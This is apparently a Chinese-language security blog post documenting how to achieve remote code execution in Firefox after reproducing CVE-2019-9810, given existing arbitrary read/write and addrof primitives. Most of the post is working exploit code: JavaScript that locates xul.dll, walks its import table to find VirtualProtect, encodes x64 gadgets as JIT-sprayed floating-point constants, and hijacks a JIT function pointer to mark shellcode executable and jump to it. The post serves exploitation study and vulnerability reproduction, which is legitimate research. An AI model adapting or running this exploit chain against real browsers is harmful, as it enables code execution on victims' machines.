Firefox RCE的一些记录

2022-05-30

记录下firefox下RCE的一些操作

前言

跟着https://doar-e.github.io/blog/2019/06/17/a-journey-into-ionmonkey-root-causing-cve-2019-9810/ 这篇文章复现cve-2019-9810后，因为Firefox不像Chrome那样有WebAssembly好用的操作，所以在获取任意地址读写和addrof原语后还需要一些步骤才能最终执行我们的shellcode

RCE

以下都是已经有了任意地址读写和addrof原语下的操作

泄露xul.dll基址

xul.dll是firefox的最主要的dll，除了内存分配相关的函数不在这个dll里，其它的函数几乎都在这个dll中，泄露的方式为利用addrof原语获得一个非array对象的地址，接着泄露利用任意地址读它的elements，非Array对象的elements会指向xul.dll中的某个地方，接着靠向前一页一页的寻找（为了避免写死特定的偏移），利用PE文件格式特有的’MZ’和’PE’来定位：

function FindModuleBase(Mem,ModuleAddr){
    var addr = ModuleAddr - (ModuleAddr & 0xfff);

    while(1){
        var value = Mem.Read32(addr);
        if((value & 0xffff) == 0x5a4d){		// 'MZ'
            // read e_lfanew
            var e_lfanew = Mem.Read32(addr+0x3c);
            var pe_header = Mem.Read32(addr+e_lfanew);
            if(pe_header == 0x00004550){	// 'PE\x00\x00'
                return addr;
            }
        }
        addr = addr - 0x1000;
    }
}

寻找virtualProtect函数地址

有了xul.dll地址，我们继续寻找我们需要的API的地址，也就是virtualProtect，原理就是解析xul.dll，找到IAT在依次遍历：

function FindImportDescriptor(Mem,ModuleBase,DllName2Find){
    var found = false;
    var ImgDosHeader_e_lfanew  = Mem.Read32(ModuleBase+0x3c);
    var ImgNtHeaders64 = ModuleBase + ImgDosHeader_e_lfanew;
    var ImportDescriptor = ModuleBase + Mem.Read32(
        ImgNtHeaders64 + 0x18 + 0x70 + (1 * 8)
    );
    while(1){
        var NameRVA = Mem.Read32(ImportDescriptor + 3*4);
        
        if(NameRVA == 0){
            break;
        }

        var NameAddress = ModuleBase + NameRVA;
        var dllName = Mem.ReadString(NameAddress);
        // console.log(dllName);

        if(dllName.toLowerCase() == DllName2Find.toLowerCase()) {
            found = true;
            break;
        }

        ImportDescriptor = ImportDescriptor + 0x14;
    }
    return found ? ImportDescriptor : -1;
}

function FindImportedAPI(Mem,ModuleBase,DllName,APINames){
    const ImportDescriptor = FindImportDescriptor(Mem, ModuleBase, DllName);
    if(ImportDescriptor == -1){
        // what happen??
        return -1;
    }
    const ImportAddresses = ModuleBase + Mem.Read32(ImportDescriptor + 0x10);
    const ImportNames = ModuleBase + Mem.Read32(ImportDescriptor);
    var Idx = 0;
    while(1){
        const ImportAddress = Mem.Read64(ImportAddresses + Idx * 8);
        if(ImportAddress == 0){
            break;
        }
        const ImportNameAddress = ModuleBase + Mem.Read32(ImportNames + Idx * 8) + 2;
        var ImportName = Mem.ReadString(ImportNameAddress);
        // console.log(ImportName);
        ImportName = ImportName.toLowerCase();
        if(ImportName.includes(APINames.toLowerCase())){
            // find API we needed
            return ImportAddress;
        }
        Idx += 1;
    }
}

jit gadget

firefox会将被jit函数中的常量放到一个可读可执行的段中，这意味着我们可以将gadget用常量的形式来构建（避免在dll中寻找，节约时间）：

function get_rwx_helper() {

    Magic = 5.40900888e-315; // 0x41414141 in memory
    _cc = 3.1402755315847004e-304;	// 0xcc  for debug
    _v0=3.140274606181765e-304;		// mov rcx, [r8+0x8];
    _v1=3.1402746713591553e-304;	// shl rcx, 0x11;
    _v2=3.140274671571355e-304;		// shr rcx, 0x11;
    _v3=3.140274932146843e-304;		// mov rcx, [rcx+0x38];
    _v4=3.1402755328480012e-304;	// xor rax, rax
    _v5=3.1402755335641748e-304;	// xor rbx, rbx
    _v6=3.1402747146157466e-304;	// mov eax, [r8+0x18];
    _v7=3.140274660929253e-304;		// mov ebx, [r8+0x10];
    _v8=3.1402747731884283e-304;	// shr rax, 0x20;
    _v9=3.1402755334796265e-304;	// add rax, rbx;
    _v10=3.140024229549804e-304;	// push 0x1000;
    _v11=3.1401776451880772e-304;	// pop rdx;push 0x20;pop r8;
    _v12=3.176069243297874e-304;	// mov r9,rsp;push rcx;jmp rax;
};

for(var i = 0;i < 0x1000;i++){
    get_rwx_helper();
}

Magic常量是为了在内存中更好的定位到这些gadget

转换用到的util.js：

var buf = new ArrayBuffer(0x10);
var u64 = new BigUint64Array(buf);
var f64 = new Float64Array(buf);

function f2q(f){
    f64[0] = f;
    return u64[0];
}
function q2f(q){
    u64[0] = q;
    return f64[0];
}

var shellcode = new BigUint64Array(0x100);
shellcode[0] = 0xeb909008488b49n;	// mov rcx, [r8+0x8];
shellcode[1] = 0xeb909011e1c148n;	// shl rcx, 0x11;
shellcode[2] = 0xeb909011e9c148n;	// shr rcx, 0x11;
shellcode[3] = 0xeb909038498b48n;	// mov rcx, [rcx+0x38];
shellcode[4] = 0xeb909090c03148n;	// xor rax, rax
shellcode[5] = 0xeb909090db3148n;	// xor rbx, rbx
shellcode[6] = 0xeb909018408b41n;	// mov eax, [r8+0x18];
shellcode[7] = 0xeb909010588b41n;	// mov ebx, [r8+0x10];
shellcode[8] = 0xeb909020e0c148n;	// shr rax, 0x20;
shellcode[9] = 0xeb909090d80148n;	// add rax, rbx;
shellcode[10] = 0xeb900000100068n;	// push 0x1000;
shellcode[11] = 0xeb905841206a5an;	// pop rdx;push 0x20;pop r8;
shellcode[12] = 0xebe0ff51e18949n;	// mov r9,rsp;push rcx;jmp rax;
shellcode[13] = 0xeb9090909090ccn;	

for(var i = 0;i < shellcode.length;i++){
  if(shellcode[i] != 0)
	console.log('_v'+ i.toString() + '=' + q2f(shellcode[i]).toString() + ';');

}

劫持jit指针

找到我们的gadget后，只需将jit指针劫持到这些gadget即可：

var jitfuncAddr = mem.Addrof(get_rwx_helper);
var jitinfo = mem.Read64(jitfuncAddr + 0x30);
var rx_region = mem.Read64(jitinfo);

console.log(hex(rx_region));

var iterator = rx_region; // Start from the RX region
var found = false

// search Magic
for(i = 0; i < 0x800; i++) {
    var data = mem.Read64(iterator);
    if(data == 0x41414141) {
        iterator = iterator + 8;
        found = true;
        break;
    }
    iterator = iterator + 8;
}
if(!found) {
    console.log("[-] Failed to find the JIT start");
}

console.log(hex(iterator));
Write64(jitinfo,iterator);

var virtualProtect_low = virtualProtect & 0xffffffff;
var virtualProtect_high = Math.floor(virtualProtect / base);

get_rwx_helper(shellcode,virtualProtect_low,virtualProtect_high);

可以看到在最后调用jit函数的时候是传入了参数的，这是为了方便，我们直接把shellcode的地址和virtualProtect函数的地址直接作为参数传入，这样我们劫持程序执行流到我们布置好的gadget的时候，r8寄存器会指向这些参数（对应gadget中的mov r/a/b/cx, [r8 + offset]）

gadget的效果就是将shellcode所在的段的权限用virtualProtect改为可执行，最后在跳转过去执行真正的shellcode

参考链接

https://doar-e.github.io/blog/2019/06/17/a-journey-into-ionmonkey-root-causing-cve-2019-9810/

https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/